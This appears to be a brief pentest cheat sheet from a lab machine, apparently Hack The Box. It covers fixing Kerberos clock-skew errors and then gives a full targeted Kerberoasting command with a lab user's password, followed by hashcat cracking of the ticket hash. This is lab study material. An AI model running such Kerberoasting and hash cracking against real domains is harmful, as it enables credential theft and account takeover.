Kerberos & Clock Skew

Fixing "Clock Skew Too Great"

sudo ntpdate <IP>

or

sudo timedatectl set-ntp off
sudo rdate -n <target IP>

or wrap the command with faketime:

faketime "$(ntpdate -q <IP> | cut -d ' ' -f 1,2)" <command>

Example (targeted Kerberoast through faketime):

faketime "$(ntpdate -q 10.129.15.73 | cut -d ' ' -f 1,2)" ~/tools/AD/targetedKerberoast.py -v -d administrator.htb -u emily -p UXLCI5iETUsIBoFVTj8yQFKoHjXmb --dc-ip 10.129.15.73

Output is a $krb5tgs$23$*user$REALM$spn*$... hash, crack with hashcat mode 13100.